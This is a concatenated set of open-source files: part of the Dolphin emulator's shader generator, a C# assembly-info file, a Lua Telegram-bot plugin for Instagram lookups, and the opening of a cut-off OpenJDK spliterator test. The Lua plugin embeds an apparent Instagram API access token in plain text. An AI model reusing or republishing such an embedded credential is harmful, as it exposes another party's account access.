texOffset;\n", i); out.Write("\t\tlr.tex%d.xy += float2(1,0) * texOffset;\n", i); out.Write("\t}\n"); } out.Write("\t}\n"); EmitVertex(out, host_config, uid_data, "ll", ApiType, wireframe, pixel_lighting, true); EmitVertex(out, host_config, uid_data, "lr", ApiType, wireframe, pixel_lighting); EmitVertex(out, host_config, uid_data, "ul", ApiType, wireframe, pixel_lighting); EmitVertex(out, host_config, uid_data, "ur", ApiType, wireframe, pixel_lighting); } else { EmitVertex(out, host_config, uid_data, "f", ApiType, wireframe, pixel_lighting, true); } out.Write("\t}\n"); EndPrimitive(out, host_config, uid_data, ApiType, wireframe, pixel_lighting); if ((stereo || host_config.more_layers) && !host_config.backend_gs_instancing) out.Write("\t}\n"); out.Write("}\n"); return out; } static void EmitVertex(ShaderCode& out, const ShaderHostConfig& host_config, const geometry_shader_uid_data* uid_data, const char* vertex, APIType ApiType, bool wireframe, bool pixel_lighting, bool first_vertex) { if (wireframe && first_vertex) out.Write("\tif (i == 0) first = %s;\n", vertex); if (ApiType == APIType::OpenGL) { out.Write("\tgl_Position = %s.pos;\n", vertex); if (host_config.backend_depth_clamp) { out.Write("\tgl_ClipDistance[0] = %s.clipDist0;\n", vertex); out.Write("\tgl_ClipDistance[1] = %s.clipDist1;\n", vertex); } AssignVSOutputMembers(out, "ps", vertex, uid_data->numTexGens, pixel_lighting); } else if (ApiType == APIType::Vulkan) { // Vulkan NDC space has Y pointing down (right-handed NDC space). out.Write("\tgl_Position = %s.pos;\n", vertex); out.Write("\tgl_Position.y = -gl_Position.y;\n"); AssignVSOutputMembers(out, "ps", vertex, uid_data->numTexGens, pixel_lighting); } else { out.Write("\tps.o = %s;\n", vertex); } if (ApiType == APIType::OpenGL || ApiType == APIType::Vulkan) out.Write("\tEmitVertex();\n"); else out.Write("\toutput.Append(ps);\n"); } static void EndPrimitive(ShaderCode& out, const ShaderHostConfig& host_config, const geometry_shader_uid_data* uid_data, APIType ApiType, bool wireframe, bool pixel_lighting) { if (wireframe) EmitVertex(out, host_config, uid_data, "first", ApiType, wireframe, pixel_lighting); if (ApiType == APIType::OpenGL || ApiType == APIType::Vulkan) out.Write("\tEndPrimitive();\n"); else out.Write("\toutput.RestartStrip();\n"); } void EnumerateGeometryShaderUids(const std::function<void(const GeometryShaderUid&)>& callback) { GeometryShaderUid uid; std::memset(&uid, 0, sizeof(uid)); const std::array<PrimitiveType, 3> primitive_lut = { {g_ActiveConfig.backend_info.bSupportsPrimitiveRestart ? PrimitiveType::TriangleStrip : PrimitiveType::Triangles, PrimitiveType::Lines, PrimitiveType::Points}}; for (PrimitiveType primitive : primitive_lut) { auto* guid = uid.GetUidData<geometry_shader_uid_data>(); guid->primitive_type = static_cast<u32>(primitive); for (u32 texgens = 0; texgens <= 8; texgens++) { guid->numTexGens = texgens; callback(uid); } } } template <class T> static T GenerateAvatarGeometryShader(PrimitiveType primitive_type, APIType ApiType, const ShaderHostConfig& host_config) { T out; const bool wireframe = host_config.wireframe; const bool pixel_lighting = g_ActiveConfig.bEnablePixelLighting; const bool stereo = host_config.stereo; // Non-uid template parameters will write to the dummy data (=> gets optimized out) geometry_shader_uid_data dummy_data; geometry_shader_uid_data* uid_data = out.template GetUidData<geometry_shader_uid_data>(); if (uid_data == nullptr) uid_data = &dummy_data; const unsigned primitive_type_index = static_cast<unsigned>(primitive_type); uid_data->primitive_type = primitive_type_index; const unsigned vertex_in = std::min(static_cast<unsigned>(primitive_type_index) + 1, 3u); unsigned vertex_out = primitive_type == PrimitiveType::TriangleStrip ? 3 : 4; const unsigned int layers = host_config.more_layers * 2 + host_config.stereo + 1; if (wireframe) vertex_out++; if (ApiType == APIType::OpenGL) { // Insert layout parameters if (host_config.backend_gs_instancing) { out.Write("layout(%s, invocations = %d) in;\n", primitives_ogl[primitive_type_index], layers); out.Write("layout(%s_strip, max_vertices = %d) out;\n", wireframe ? "line" : "triangle", vertex_out); } else { out.Write("layout(%s) in;\n", primitives_ogl[primitive_type_index]); out.Write("layout(%s_strip, max_vertices = %d) out;\n", wireframe ? "line" : "triangle", vertex_out * layers); } } // uniforms if (ApiType == APIType::OpenGL) out.Write("layout(std140%s) uniform GSBlock {\n", g_ActiveConfig.backend_info.bSupportsBindingLayout ? ", binding = 3" : ""); else out.Write("cbuffer GSBlock {\n"); out.Write("\tfloat4 " I_STEREOPARAMS ";\n" "\tfloat4 " I_LINEPTPARAMS ";\n" "\tint4 " I_TEXOFFSET ";\n" "};\n"); uid_data->numTexGens = 1; const char* qualifier = ""; out.Write("struct VS_OUTPUT {\n"); DefineOutputMember(out, ApiType, qualifier, "float4", "pos", -1, "POSITION"); DefineOutputMember(out, ApiType, qualifier, "float4", "colors_", 0, "COLOR", 0); DefineOutputMember(out, ApiType, qualifier, "float3", "tex", 0, "TEXCOORD", 0); out.Write("};\n"); if (ApiType == APIType::OpenGL) { if (host_config.backend_gs_instancing) out.Write("#define InstanceID gl_InvocationID\n"); out.Write("in VertexData {\n"); qualifier = g_ActiveConfig.backend_info.bSupportsBindingLayout ? "centroid" : "centroid in"; DefineOutputMember(out, ApiType, qualifier, "float4", "pos", -1, "POSITION"); DefineOutputMember(out, ApiType, qualifier, "float4", "colors_", 0, "COLOR", 0); DefineOutputMember(out, ApiType, qualifier, "float3", "tex", 0, "TEXCOORD", 0); out.Write("} vs[%d];\n", vertex_in); out.Write("out VertexData {\n"); qualifier = g_ActiveConfig.backend_info.bSupportsBindingLayout ? "centroid" : "centroid out"; DefineOutputMember(out, ApiType, qualifier, "float4", "pos", -1, "POSITION"); DefineOutputMember(out, ApiType, qualifier, "float4", "colors_", 0, "COLOR", 0); DefineOutputMember(out, ApiType, qualifier, "float3", "tex", 0, "TEXCOORD", 0); if (stereo || host_config.more_layers) out.Write("\tflat int layer;\n"); out.Write("} ps;\n"); out.Write("void main()\n{\n"); } else // D3D { out.Write("struct VertexData {\n"); out.Write("\tVS_OUTPUT o;\n"); if (stereo || host_config.more_layers) out.Write("\tuint layer : SV_RenderTargetArrayIndex;\n"); out.Write("};\n"); if (host_config.backend_gs_instancing) { out.Write("[maxvertexcount(%d)]\n[instance(%d)]\n", vertex_out, layers); out.Write("void main(%s VS_OUTPUT o[%d], inout %sStream<VertexData> output, in uint " "InstanceID : SV_GSInstanceID)\n{\n", primitives_d3d[primitive_type_index], vertex_in, wireframe ? "Line" : "Triangle"); } else { out.Write("[maxvertexcount(%d)]\n", vertex_out * layers); out.Write("void main(%s VS_OUTPUT o[%d], inout %sStream<VertexData> output)\n{\n", primitives_d3d[primitive_type_index], vertex_in, wireframe ? "Line" : "Triangle"); } out.Write("\tVertexData ps;\n"); } if (primitive_type == PrimitiveType::Lines) { if (ApiType == APIType::OpenGL) { out.Write("\tVS_OUTPUT start, end;\n"); const char* a = "start"; const char* b = "vs[0]"; out.Write("\t%s.pos = %s.pos;\n", a, b); out.Write("\t%s.colors_0 = %s.colors_0;\n", a, b); out.Write("\t%s.tex%d = %s.tex%d;\n", a, 0, b, 0); a = "end"; b = "vs[1]"; out.Write("\t%s.pos = %s.pos;\n", a, b); out.Write("\t%s.colors_0 = %s.colors_0;\n", a, b); out.Write("\t%s.tex%d = %s.tex%d;\n", a, 0, b, 0); } else { out.Write("\tVS_OUTPUT start = o[0];\n"); out.Write("\tVS_OUTPUT end = o[1];\n"); } // GameCube/Wii's line drawing algorithm is a little quirky. It does not // use the correct line caps. Instead, the line caps are vertical or // horizontal depending the slope of the line. out.Write("\tfloat2 offset;\n" "\tfloat2 to = abs(end.pos.xy - start.pos.xy);\n" // FIXME: What does real hardware do when line is at a 45-degree angle? // FIXME: Lines aren't drawn at the correct width. See Twilight Princess map. "\tif (" I_LINEPTPARAMS ".y * to.y > " I_LINEPTPARAMS ".x * to.x) {\n" // Line is more tall. Extend geometry left and right. // Lerp LineWidth/2 from [0..VpWidth] to [-1..1] "\t\toffset = float2(" I_LINEPTPARAMS ".z / " I_LINEPTPARAMS ".x, 0);\n" "\t} else {\n" // Line is more wide. Extend geometry up and down. // Lerp LineWidth/2 from [0..VpHeight] to [1..-1] "\t\toffset = float2(0, -" I_LINEPTPARAMS ".z / " I_LINEPTPARAMS ".y);\n" "\t}\n"); } else if (primitive_type == PrimitiveType::Points) { if (ApiType == APIType::OpenGL) { const char* a = "center"; const char* b = "vs[0]"; out.Write("\tVS_OUTPUT center;\n"); out.Write("\t%s.pos = %s.pos;\n", a, b); out.Write("\t%s.colors_0 = %s.colors_0;\n", a, b); out.Write("\t%s.tex%d = %s.tex%d;\n", a, 0, b, 0); } else { out.Write("\tVS_OUTPUT center = o[0];\n"); } // Offset from center to upper right vertex // Lerp PointSize/2 from [0,0..VpWidth,VpHeight] to [-1,1..1,-1] out.Write("\tfloat2 offset = float2(" I_LINEPTPARAMS ".w / " I_LINEPTPARAMS ".x, -" I_LINEPTPARAMS ".w / " I_LINEPTPARAMS ".y) * center.pos.w;\n"); } if (stereo || host_config.more_layers) { // If the GPU supports invocation we don't need a for loop and can simply use the // invocation identifier to determine which layer we're rendering. if (host_config.backend_gs_instancing) out.Write("\tint eye = InstanceID;\n"); else out.Write("\tfor (int eye = 0; eye < 2; ++eye) {\n"); } if (wireframe) out.Write("\tVS_OUTPUT first;\n"); out.Write("\tfor (int i = 0; i < %d; ++i) {\n", vertex_in); if (ApiType == APIType::OpenGL) { out.Write("\tVS_OUTPUT f;\n"); const char* a = "f"; const char* b = "vs[i]"; out.Write("\t%s.pos = %s.pos;\n", a, b); out.Write("\t%s.colors_0 = %s.colors_0;\n", a, b); out.Write("\t%s.tex%d = %s.tex%d;\n", a, 0, b, 0); } else { out.Write("\tVS_OUTPUT f = o[i];\n"); } if (host_config.vr) { // Select the output layer out.Write("\tps.layer = eye;\n"); if (ApiType == APIType::OpenGL) out.Write("\tgl_Layer = eye;\n"); // StereoParams[eye] = camera shift in game units * projection[0][0] // StereoParams[eye+2] = offaxis shift from Oculus projection[0][2] // out.Write("\tf.clipPos.x += " I_STEREOPARAMS"[eye] - " I_STEREOPARAMS"[eye+2] * // f.clipPos.w;\n"); out.Write("\tf.pos.x += " I_STEREOPARAMS "[eye] - " I_STEREOPARAMS "[eye+2] * f.pos.w;\n"); } else if (stereo || host_config.more_layers) { // Select the output layer out.Write("\tps.layer = eye;\n"); if (ApiType == APIType::OpenGL) out.Write("\tgl_Layer = eye;\n"); // For stereoscopy add a small horizontal offset in Normalized Device Coordinates proportional // to the depth of the vertex. We retrieve the depth value from the w-component of the projected // vertex which contains the negated z-component of the original vertex. // For negative parallax (out-of-screen effects) we subtract a convergence value from // the depth value. This results in objects at a distance smaller than the convergence // distance to seemingly appear in front of the screen. // This formula is based on page 13 of the "Nvidia 3D Vision Automatic, Best Practices Guide" // out.Write("\tf.clipPos.x += " I_STEREOPARAMS"[eye] * (f.clipPos.w - " // I_STEREOPARAMS"[2]);\n"); out.Write("\tf.pos.x += " I_STEREOPARAMS "[eye] * (f.pos.w - " I_STEREOPARAMS "[2]);\n"); } if (primitive_type == PrimitiveType::Lines) { out.Write("\tVS_OUTPUT l = f;\n" "\tVS_OUTPUT r = f;\n"); out.Write("\tl.pos.xy -= offset * l.pos.w;\n" "\tr.pos.xy += offset * r.pos.w;\n"); out.Write("\tif (" I_TEXOFFSET "[2] != 0) {\n"); out.Write("\tfloat texOffset = 1.0 / float(" I_TEXOFFSET "[2]);\n"); for (unsigned int i = 0; i < uid_data->numTexGens; ++i) { out.Write("\tif (((" I_TEXOFFSET "[0] >> %d) & 0x1) != 0)\n", i); out.Write("\t\tr.tex%d.x += texOffset;\n", i); } out.Write("\t}\n"); EmitVertex(out, host_config, uid_data, "l", ApiType, wireframe, pixel_lighting, true); EmitVertex(out, host_config, uid_data, "r", ApiType, wireframe, pixel_lighting); } else if (primitive_type == PrimitiveType::Points) { out.Write("\tVS_OUTPUT ll = f;\n" "\tVS_OUTPUT lr = f;\n" "\tVS_OUTPUT ul = f;\n" "\tVS_OUTPUT ur = f;\n"); out.Write("\tll.pos.xy += float2(-1,-1) * offset;\n" "\tlr.pos.xy += float2(1,-1) * offset;\n" "\tul.pos.xy += float2(-1,1) * offset;\n" "\tur.pos.xy += offset;\n"); out.Write("\tif (" I_TEXOFFSET "[3] != 0) {\n"); out.Write("\tfloat2 texOffset = float2(1.0 / float(" I_TEXOFFSET "[3]), 1.0 / float(" I_TEXOFFSET "[3]));\n"); for (unsigned int i = 0; i < 1; ++i) { out.Write("\tif (((" I_TEXOFFSET "[1] >> %d) & 0x1) != 0) {\n", i); out.Write("\t\tll.tex%d.xy += float2(0,1) * texOffset;\n", i); out.Write("\t\tlr.tex%d.xy += texOffset;\n", i); out.Write("\t\tur.tex%d.xy += float2(1,0) * texOffset;\n", i); out.Write("\t}\n"); } out.Write("\t}\n"); EmitVertex(out, host_config, uid_data, "ll", ApiType, wireframe, pixel_lighting, true); EmitVertex(out, host_config, uid_data, "lr", ApiType, wireframe, pixel_lighting); EmitVertex(out, host_config, uid_data, "ul", ApiType, wireframe, pixel_lighting); EmitVertex(out, host_config, uid_data, "ur", ApiType, wireframe, pixel_lighting); } else { EmitVertex(out, host_config, uid_data, "f", ApiType, wireframe, pixel_lighting, true); } out.Write("\t}\n"); EndPrimitive(out, host_config, uid_data, ApiType, wireframe, pixel_lighting); if ((stereo || host_config.more_layers) && !host_config.backend_gs_instancing) out.Write("\t}\n"); out.Write("}\n"); return out; } ShaderCode GenerateAvatarGeometryShaderCode(PrimitiveType primitive_type, APIType ApiType, const ShaderHostConfig& host_config) { return GenerateAvatarGeometryShader<ShaderCode>(primitive_type, ApiType, host_config); }
CarlKenner/dolphin
Source/Core/VideoCommon/GeometryShaderGen.cpp
C++
gpl-2.0
27,459
# lastDate A minimal modular date picker with different calendar support
ImanMh/lastDate
README.md
Markdown
gpl-2.0
73
using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("CryptoMethods")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("HP")] [assembly: AssemblyProduct("CryptoMethods")] [assembly: AssemblyCopyright("Copyright © HP 2015")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("6eb617c1-11a2-4074-91bc-b4687444cebf")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")]
tmpope/Cryptography
CryptoMethods/CryptoMethods/Properties/AssemblyInfo.cs
C#
gpl-2.0
1,406
--[[ # # @hunter18k # @Dragon_Born # ]] local access_token = "3084249803.280d5d7.999310365c8248f8948ee0f6929c2f02" -- your api key local function instagramUser(msg, query) local receiver = get_receiver(msg) local url = "https://api.instagram.com/v1/users/search?q="..URL.escape(query).."&access_token="..access_token local jstr, res = https.request(url) if res ~= 200 then return "No Connection" end local jdat = json:decode(jstr) if #jdat.data == 0 then send_msg(receiver,"#Error\nUsername not found",ok_cb,false) end if jdat.meta.error_message then send_msg(receiver,"#Error\n"..jdat.meta.error_message,ok_cb,false) end local id = jdat.data[1].id local gurl = "https://api.instagram.com/v1/users/"..id.."/?access_token="..access_token local ress = https.request(gurl) local user = json:decode(ress) if user.meta.error_message then send_msg(receiver,"#Error\n"..user.meta.error_message,ok_cb,false) end local text = '' if user.data.bio ~= '' then text = text.."Username: "..user.data.username:upper().."\n\n" else text = text.."المعرف : "..user.data.username:upper().."\n" end if user.data.bio ~= '' then text = text..user.data.bio.."\n\n" end if user.data.full_name ~= '' then text = text.."الاسم : "..user.data.full_name.."\n" end text = text.."النغمات : "..user.data.counts.media.."\n" text = text.."متابع لهم : "..user.data.counts.follows.."\n" text = text.."متابعينك : "..user.data.counts.followed_by.."\n" if user.data.website ~= '' then text = text.."Website: "..user.data.website.."\n" end text = text.."\n" local file_path = download_to_file(user.data.profile_picture,"insta.png") -- disable this line if you want to send profile photo as sticker --local file_path = download_to_file(user.data.profile_picture,"insta.webp") -- enable this line if you want to send profile photo as sticker local cb_extra = {file_path=file_path} local mime_type = mimetype.get_content_type_no_sub(ext) send_photo(receiver, file_path, rmtmp_cb, cb_extra) -- disable this line if you want to send profile photo as sticker --send_document(receiver, file_path, rmtmp_cb, cb_extra) -- enable this line if you want to send profile photo as sticker send_msg(receiver,text,ok_cb,false) end local function instagramMedia(msg, query) local receiver = get_receiver(msg) local url = "https://api.instagram.com/v1/media/shortcode/"..URL.escape(query).."?access_token="..access_token local jstr, res = https.request(url) if res ~= 200 then return "No Connection" end local jdat = json:decode(jstr) if jdat.meta.error_message then send_msg(receiver,"#Error\n"..jdat.meta.error_type.."\n"..jdat.meta.error_message,ok_cb,false) end local text = '' local data = '' if jdat.data.caption then data = jdat.data.caption text = text.."Username: "..data.from.username:upper().."\n\n" text = text..data.from.full_name.."\n\n" text = text..data.text.."\n\n" text = text.."Like Count: "..jdat.data.likes.count.."\n" else text = text.."Username: "..jdat.data.user.username:upper().."\n" text = text.."Name: "..jdat.data.user.full_name.."\n" text = text.."Like Count: "..jdat.data.likes.count.."\n" end text = text.."\n" send_msg(receiver,text,ok_cb,false) end local function run(msg, matches) if matches[1] == "insta" and not matches[3] then return instagramUser(msg,matches[2]) end if matches[1] == "insta" and matches[3] then local media = matches[3] if string.match(media , '/') then media = media:gsub("/", "") end return instagramMedia(msg,media) end end return { patterns = { "^([Ii]nsta) ([Hh]ttps://www.instagram.com/p/)([^%s]+)$", "^([Ii]nsta) ([Hh]ttps://instagram.com/p/)([^%s]+)$", "^([Ii]nsta) ([Hh]ttp://www.instagram.com/p/)([^%s]+)$", "^([Ii]nsta) ([Hh]ttp://instagram.com/p/)([^%s]+)$", "^([Ii]nsta) ([^%s]+)$", }, run = run }
ahmed112a/smart
plugins/insta.lua
Lua
gpl-2.0
3,943
/* * Copyright (c) 2013, 2017, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ /** * @test * @summary Spliterator traversing and splitting tests * @library ../stream/bootlib * @build java.base/java.util.SpliteratorOfIntDataBuilder * java.base/java.util.SpliteratorTestHelper * @run testng SpliteratorTraversingAndSplittingTest * @bug 8020016 8071477 8072784 8169838 */ import org.testng.annotations.DataProvider; import org.testng.annotations.Test; import java.nio.CharBuffer; import java.util.AbstractCollection; import java.util.AbstractList; import java.util.AbstractSet; import java.util.ArrayDeque; import java.util.ArrayList; import java.util.Arrays; import java.util.Collection; import java.util.Collections; import java.util.Comparator; import java.util.HashMap; import java.util.HashSet; import java.util.IdentityHashMap; import java.util.Iterator; import java.util.LinkedHashMap; import java.util.LinkedHashSet; import java.util.LinkedList; import java.util.List; import java.util.ListIterator; import java.util.Map; import java.util.PriorityQueue; import java.util.RandomAccess; import java.util.Set; import java.util.SortedSet; import java.util.Spliterator; import java.util.SpliteratorOfIntDataBuilder; import java.util.SpliteratorTestHelper; import java.util.Spliterators; import java.util.Stack; import java.util.TreeMap; import java.util.TreeSet; import java.util.Vector; import java.util.WeakHashMap; import java.util.concurrent.ArrayBlockingQueue; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.ConcurrentLinkedQueue; import java.util.concurrent.ConcurrentSkipListMap; import java.util.concurrent.ConcurrentSkipListSet; import java.util.concurrent.CopyOnWriteArrayList; import java.util.concurrent.CopyOnWriteArraySet; import java.util.concurrent.LinkedBlockingDeque; import java.util.concurrent.LinkedBlockingQueue; import java.util.concurrent.LinkedTransferQueue; import java.util.concurrent.PriorityBlockingQueue; import java.util.function.Consumer; import java.util.function.DoubleConsumer; import java.util.function.Function; import java.util.function.IntConsumer; import java.util.function.LongConsumer; import java.util.function.Supplier; import java.util.function.UnaryOperator; public class SpliteratorTraversingAndSplittingTest extends SpliteratorTestHelper { private static final List<Integer> SIZES = Arrays.asList(0, 1, 10, 42); private static final String LOW = new String(new char[] {Character.MIN_LOW_SURROGATE}); private static final String HIGH = new String(new char[] {Character.MIN_HIGH_SURROGATE}); private static final String HIGH_LOW = HIGH + LOW; private static final String CHAR_HIGH_LOW = "A" + HIGH_LOW; private static final String HIGH_LOW_CHAR = HIGH_LOW + "A"; private static final String CHAR_HIGH_LOW_CHAR = "A" + HIGH_LOW + "A"; private static final List<String> STRINGS = generateTestStrings(); private static List<String> generateTestStrings() { List<String> strings = new ArrayList<>(); for (int n : Arrays.asList(1, 2, 3, 16, 17)) { strings.add(generate("A", n)); strings.add(generate(LOW, n)); strings.add(generate(HIGH, n)); strings.add(generate(HIGH_LOW, n)); strings.add(generate(CHAR_HIGH_LOW, n)); strings.add(generate(HIGH_LOW_CHAR, n)); strings.add(generate(CHAR_HIGH_LOW_CHAR, n)); } return strings; } private static String generate(String s, int n) { StringBuilder sb = new StringBuilder(); for (int i = 0; i < n; i++) { sb.append(s); } return sb.toString(); } private static class SpliteratorDataBuilder<T> { List<Object[]> data; List<T> exp; Map<T, T> mExp; SpliteratorDataBuilder(List<Object[]> data, List<T> exp) { this.data = data; this.exp = exp; this.mExp = createMap(exp); } Map<T, T> createMap(List<T> l) { Map<T, T> m = new LinkedHashMap<>(); for (T t : l) { m.put(t, t); } return m; } void add(String description, Collection<?> expected, Supplier<Spliterator<?>> s) { description = joiner(description).toString(); data.add(new Object[]{description, expected, s}); } void add(String description, Supplier<Spliterator<?>> s) { add(description, exp, s); } void addCollection(Function<Collection<T>, ? extends Collection<T>> c) { add("new " + c.apply(Collections.<T>emptyList()).getClass().getName() + ".spliterator()", () -> c.apply(exp).spliterator()); } void addList(Function<Collection<T>, ? extends List<T>> l) { addCollection(l); addCollection(l.andThen(list -> list.subList(0, list.size()))); } void addMap(Function<Map<T, T>, ? extends Map<T, T>> m) { String description = "new " + m.apply(Collections.<T, T>emptyMap()).getClass().getName(); addMap(m, description); } void addMap(Function<Map<T, T>, ? extends Map<T, T>> m, String description) { add(description + ".keySet().spliterator()", () -> m.apply(mExp).keySet().spliterator()); add(description + ".values().spliterator()", () -> m.apply(mExp).values().spliterator()); add(description + ".entrySet().spliterator()", mExp.entrySet(), () -> m.apply(mExp).entrySet().spliterator()); } StringBuilder joiner(String description) { return new StringBuilder(description). append(" {"). append("size=").append(exp.size()). append("}"); } } static Object[][] spliteratorDataProvider; @DataProvider(name = "Spliterator<Integer>") public static Object[][] spliteratorDataProvider() { if (spliteratorDataProvider != null) { return spliteratorDataProvider; } List<Object[]> data = new ArrayList<>(); for (int size : SIZES) { List<Integer> exp = listIntRange(size); SpliteratorDataBuilder<Integer> db = new SpliteratorDataBuilder<>(data, exp); // Direct spliterator methods db.add("Spliterators.spliterator(Collection, ...)", () -> Spliterators.spliterator(exp, 0)); db.add("Spliterators.spliterator(Iterator, ...)", () -> Spliterators.spliterator(exp.iterator(), exp.size(), 0)); db.add("Spliterators.spliteratorUnknownSize(Iterator, ...)", () -> Spliterators.spliteratorUnknownSize(exp.iterator(), 0)); db.add("Spliterators.spliterator(Spliterators.iteratorFromSpliterator(Spliterator ), ...)", () -> Spliterators.spliterator(Spliterators.iterator(exp.spliterator()), exp.size(), 0)); db.add("Spliterators.spliterator(T[], ...)", () -> Spliterators.spliterator(exp.toArray(new Integer[0]), 0)); db.add("Arrays.spliterator(T[], ...)", () -> Arrays.spliterator(exp.toArray(new Integer[0]))); class SpliteratorFromIterator extends Spliterators.AbstractSpliterator<Integer> { Iterator<Integer> it; SpliteratorFromIterator(Iterator<Integer> it, long est) { super(est, Spliterator.SIZED); this.it = it; } @Override public boolean tryAdvance(Consumer<? super Integer> action) { if (action == null) throw new NullPointerException(); if (it.hasNext()) { action.accept(it.next()); return true; } else { return false; } } } db.add("new Spliterators.AbstractSpliterator()", () -> new SpliteratorFromIterator(exp.iterator(), exp.size())); // Collections // default method implementations class AbstractCollectionImpl extends AbstractCollection<Integer> { Collection<Integer> c; AbstractCollectionImpl(Collection<Integer> c) { this.c = c; } @Override public Iterator<Integer> iterator() { return c.iterator(); } @Override public int size() { return c.size(); } } db.addCollection( c -> new AbstractCollectionImpl(c)); class AbstractListImpl extends AbstractList<Integer> { List<Integer> l; AbstractListImpl(Collection<Integer> c) { this.l = new ArrayList<>(c); } @Override public Integer get(int index) { return l.get(index); } @Override public int size() { return l.size(); } } db.addCollection( c -> new AbstractListImpl(c)); class AbstractSetImpl extends AbstractSet<Integer> { Set<Integer> s; AbstractSetImpl(Collection<Integer> c) { this.s = new HashSet<>(c); } @Override public Iterator<Integer> iterator() { return s.iterator(); } @Override public int size() { return s.size(); } } db.addCollection( c -> new AbstractSetImpl(c)); class AbstractSortedSetImpl extends AbstractSet<Integer> implements SortedSet<Integer> { SortedSet<Integer> s; AbstractSortedSetImpl(Collection<Integer> c) { this.s = new TreeSet<>(c); } @Override public Iterator<Integer> iterator() { return s.iterator(); } @Override public int size() { return s.size(); } @Override public Comparator<? super Integer> comparator() { return s.comparator(); } @Override public SortedSet<Integer> subSet(Integer fromElement, Integer toElement) { return s.subSet(fromElement, toElement); } @Override public SortedSet<Integer> headSet(Integer toElement) { return s.headSet(toElement); } @Override public SortedSet<Integer> tailSet(Integer fromElement) { return s.tailSet(fromElement); } @Override public Integer first() { return s.first(); } @Override public Integer last() { return s.last(); } @Override public Spliterator<Integer> spliterator() { return SortedSet.super.spliterator(); } } db.addCollection( c -> new AbstractSortedSetImpl(c)); class IterableWrapper implements Iterable<Integer> { final Iterable<Integer> it; IterableWrapper(Iterable<Integer> it) { this.it = it; } @Override public Iterator<Integer> iterator() { return it.iterator(); } } db.add("new Iterable.spliterator()", () -> new IterableWrapper(exp).spliterator()); // db.add("Arrays.asList().spliterator()", () -> Spliterators.spliterator(Arrays.asList(exp.toArray(new Integer[0])), 0)); db.addList(ArrayList::new); db.addList(LinkedList::new); db.addList(Vector::new); class AbstractRandomAccessListImpl extends AbstractList<Integer> implements RandomAccess { Integer[] ia; AbstractRandomAccessListImpl(Collection<Integer> c) { this.ia = c.toArray(new Integer[c.size()]); } @Override public Integer get(int index) { return ia[index]; } @Override public int size() { return ia.length; } } db.addList(AbstractRandomAccessListImpl::new); class RandomAccessListImpl implements List<Integer>, RandomAccess { Integer[] ia; List<Integer> l; RandomAccessListImpl(Collection<Integer> c) { this.ia = c.toArray(new Integer[c.size()]); this.l = Arrays.asList(ia); } @Override public Integer get(int index) { return ia[index]; } @Override public Integer set(int index, Integer element) { throw new UnsupportedOperationException(); } @Override public void add(int index, Integer element) { throw new UnsupportedOperationException(); } @Override public Integer remove(int index) { throw new UnsupportedOperationException(); } @Override public int indexOf(Object o) { return l.indexOf(o); } @Override public int lastIndexOf(Object o) { return Arrays.asList(ia).lastIndexOf(o); } @Override public ListIterator<Integer> listIterator() { return l.listIterator(); } @Override public ListIterator<Integer> listIterator(int index) { return l.listIterator(index); } @Override public List<Integer> subList(int fromIndex, int toIndex) { return l.subList(fromIndex, toIndex); } @Override public int size() { return ia.length; } @Override public boolean isEmpty() { return size() != 0; } @Override public boolean contains(Object o) { return l.contains(o); } @Override public Iterator<Integer> iterator() { return l.iterator(); } @Override public Object[] toArray() { return l.toArray(); } @Override public <T> T[] toArray(T[] a) { return l.toArray(a); } @Override public boolean add(Integer integer) { throw new UnsupportedOperationException(); } @Override public boolean remove(Object o) { throw new UnsupportedOperationException(); } @Override public boolean containsAll(Collection<?> c) { return l.containsAll(c); } @Override public boolean addAll(Collection<? extends Integer> c) { throw new UnsupportedOperationException(); } @Override public boolean addAll(int index, Collection<? extends Integer> c) { throw new UnsupportedOperationException(); } @Override public boolean removeAll(Collection<?> c) { throw new UnsupportedOperationException(); } @Override public boolean retainAll(Collection<?> c) { throw new UnsupportedOperationException(); } @Override public void clear() { throw new UnsupportedOperationException(); } } db.addList(RandomAccessListImpl::new); db.addCollection(HashSet::new); db.addCollection(LinkedHashSet::new); db.addCollection(TreeSet::new); db.addCollection(c -> { Stack<Integer> s = new Stack<>(); s.addAll(c); return s;}); db.addCollection(PriorityQueue::new); db.addCollection(ArrayDeque::new); db.addCollection(ConcurrentSkipListSet::new); if (size > 0) { db.addCollection(c -> { ArrayBlockingQueue<Integer> abq = new ArrayBlockingQueue<>(size); abq.addAll(c); return abq; }); } db.addCollection(PriorityBlockingQueue::new); db.addCollection(LinkedBlockingQueue::new); db.addCollection(LinkedTransferQueue::new); db.addCollection(ConcurrentLinkedQueue::new); db.addCollection(LinkedBlockingDeque::new); db.addCollection(CopyOnWriteArrayList::new); db.addCollection(CopyOnWriteArraySet::new); if (size == 0) { db.addCollection(c -> Collections.<Integer>emptySet()); db.addList(c -> Collections.<Integer>emptyList()); } else if (size == 1) { db.addCollection(c -> Collections.singleton(exp.get(0))); db.addCollection(c -> Collections.singletonList(exp.get(0))); } { Integer[] ai = new Integer[size]; 